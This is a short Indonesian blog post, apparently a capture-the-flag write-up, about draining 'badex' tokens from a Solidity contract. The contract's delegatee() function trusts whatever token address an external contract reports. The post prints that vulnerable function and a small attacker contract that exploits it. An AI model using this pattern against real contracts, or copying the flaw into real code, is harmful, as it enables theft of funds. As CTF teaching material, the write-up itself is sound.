# sysfixed.org/ctf #1

By [MRF](https://paragraph.com/@mrfatoni) · 2023-02-13

---

maaf kalo acak-acakan singkatnya.. awal lihat holder ada 2 contract yg berisi token badex, (BUG) _0x391a6cedbc9e91f66187ff562b29b954d8bd3288_ dan (ASU) \*0x61cf470fc4037523487e94959095fdb66fd19f10

\*si kontrak ASU ternyata unverified, setelah didecompile ternyata zonk. kontrak BUG verified dan bisa lihat full source codenya.

Piye Yo Carane?

yg pertama saya cari itu _function external_, dan nemu yg agak janggal dari namanya "**delegatee**" function **delegatee** ini manggil kontrak lain buat dapetin address token yg mau ditransfer.

    function delegatee(address token_, uint256 amount_) external override {
    // token_ itu pengalihan nama aja, anggep aja contractB
    address tokenAddress = IERC20(token_).getAddress();
    // lihat value function getAddress() di contractB
    require(tokenAddress != address(this));
    // gabisa sama kyk address ini, jadi perlu buat contractB
    IERC20(tokenAddress).transfer(msg.sender, amount_);
    // kirim token badexnya
    }
    

kedua deploy contractB ini buat pancingan delegatee()

    contract Test {
    function getAddress() public view returns(address){
    return 0x0C8aC4d5B1E6717d7FD0476DC84249F8De6a54Ea;
    // ini address token badex
    }
    }
    

setelah deploy dapet address contract yg baru dideploy tuh, langsung gas panggil delegatee nya. contoh hasil deploy: _0xd5FFF4723f57E2561a2E0ffA0c5979623fEec434_

![manggil delegatee](https://storage.googleapis.com/papyrus_images/56ae2f129e75f198df3052525f36c0cddf894e1ecdb66a160a4fb10a36a83e1e.png)

manggil delegatee

---

*Originally published on [MRF](https://paragraph.com/@mrfatoni/sysfixed-org-ctf-1)*
